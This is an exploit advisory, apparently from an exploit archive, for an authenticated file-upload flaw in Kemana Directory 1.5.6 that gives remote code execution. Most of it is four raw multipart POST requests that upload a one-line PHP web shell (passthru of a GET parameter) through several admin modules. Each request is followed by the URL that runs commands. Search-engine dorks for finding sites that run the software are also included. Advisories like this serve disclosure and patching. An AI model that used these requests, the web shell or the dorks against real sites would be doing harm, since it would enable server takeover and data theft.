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Kemana Directory 1.5.6 Remote Code Execution

Kemana Directory 1.5.6 Remote Code Execution
Posted Mar 25, 2014
Authored by LiquidWorm | Site zeroscience.mk

Kemana Directory suffers from an authenticated arbitrary code execution. The vulnerability is caused due to the improper verification of uploaded files in several modules thru several POST parameters. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file that will be stored in '/public/image' directory. Version 1.5.6 is affected.

tags | exploit, arbitrary, php, code execution
MD5 | b652857afe054da01a208a0cb90661e8

Kemana Directory 1.5.6 Remote Code Execution

Change Mirror Download

Kemana Directory 1.5.6 Remote Code Execution


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 1.5.6

Summary: Experience the ultimate directory script solution
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.
Unique Kemana's features including: CMS engine based on our
qEngine, multiple directories support, user friendly administration
control panel, easy to use custom fields, unsurpassed flexibility.

Desc: Kemana Directory suffers from an authenticated arbitrary code
execution. The vulnerability is caused due to the improper verification
of uploaded files in several modules thru several POST parameters.
This can be exploited to execute arbitrary PHP code by uploading
a malicious PHP script file that will be stored in '/public/image'
directory. Minimum permissions needed for a user to upload any file:

User level: Regular (param: user_level=1)
Admin level: Editor (param: admin_level=3)

Only the 'Super Admin' level makes the Tool 'File Manager' available.


Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2014-5178
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5178.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

---


#1 (Modules > Articles > Manage Categories > Create A New Category)

POST http://localhost/kemana/admin/task.php?mod=portal&run=pcat_edit.php& HTTP/1.1


-----------------------------18727540915953
Content-Disposition: form-data; name="AXSRF_token"

12adff6127dfa3355ac24bad4a4c8687
-----------------------------18727540915953
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------18727540915953
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------18727540915953
Content-Disposition: form-data; name="primary_key"

cat_id
-----------------------------18727540915953
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------18727540915953
Content-Disposition: form-data; name="parent"

0
-----------------------------18727540915953
Content-Disposition: form-data; name="cat_name"

ZSL
-----------------------------18727540915953
Content-Disposition: form-data; name="cat_note"

nothing to note
-----------------------------18727540915953
Content-Disposition: form-data; name="cat_keywords"

Zero Science Lab
-----------------------------18727540915953
Content-Disposition: form-data; name="cat_img"; filename="shell.php"
Content-Type: application/octet-stream

<?php passthru($_GET['cmd']); ?>
-----------------------------18727540915953--


Upload location: http://localhost/kemana/public/image/
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami




#2 (Modules > qBanner > Manage Banner > Add Entry)

POST http://localhost/kemana/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1


-----------------------------225222869427624
Content-Disposition: form-data; name="AXSRF_token"

52e9c9ff9bb251a144b82a662496f5b8
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_savenew"

0
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_key"

page_id
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------225222869427624
Content-Disposition: form-data; name="page_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php passthru($_GET['cmd']); ?>
-----------------------------225222869427624
Content-Disposition: form-data; name="page_title"

ZSL
-----------------------------225222869427624
Content-Disposition: form-data; name="page_keyword"

http://www.zeroscience.mk
-----------------------------225222869427624
Content-Disposition: form-data; name="group_id"

QBANR
-----------------------------225222869427624
Content-Disposition: form-data; name="page_body"

This page is part of qBanner module. Please use qBanner Manager to edit this page.
-----------------------------225222869427624
Content-Disposition: form-data; name="page_allow_comment"

-----------------------------225222869427624
Content-Disposition: form-data; name="page_list"

-----------------------------225222869427624--


Upload location: http://localhost/kemana/public/image/
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami




#3 (Tools > File Manager > Upload)

POST http://localhost/kemana/admin/fman/upload_process.php HTTP/1.1


-----------------------------76802486520945
Content-Disposition: form-data; name="chdir"

-----------------------------76802486520945
Content-Disposition: form-data; name="n"

5
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_1"; filename="shell.php"
Content-Type: application/octet-stream

<?php passthru($_GET['cmd']); ?>
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_2"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_3"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_4"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_5"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945--


Upload location: Anywhere within the webroot folder and its subfolders.
Exec: http://localhost/kemana/shell.php?cmd=whoami




#4 (Contents > Slideshow > Add Entry)

POST http://localhost/kemana/admin/featured_content.php? HTTP/1.1


-----------------------------9813040432632
Content-Disposition: form-data; name="AXSRF_token"

516e6705d27d7d242d948d16b18a6339
-----------------------------9813040432632
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------9813040432632
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------9813040432632
Content-Disposition: form-data; name="primary_key"

idx
-----------------------------9813040432632
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------9813040432632
Content-Disposition: form-data; name="feat_title"

Zero Science Lab
-----------------------------9813040432632
Content-Disposition: form-data; name="feat_img"; filename="shell.php"
Content-Type: application/octet-stream

<?php passthru($_GET['cmd']); ?>
-----------------------------9813040432632
Content-Disposition: form-data; name="feat_url"

http://www.zeroscience.mk
-----------------------------9813040432632
Content-Disposition: form-data; name="feat_text"

<p>TEST</p>
-----------------------------9813040432632--


Upload location: http://localhost/kemana/public/image/
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami
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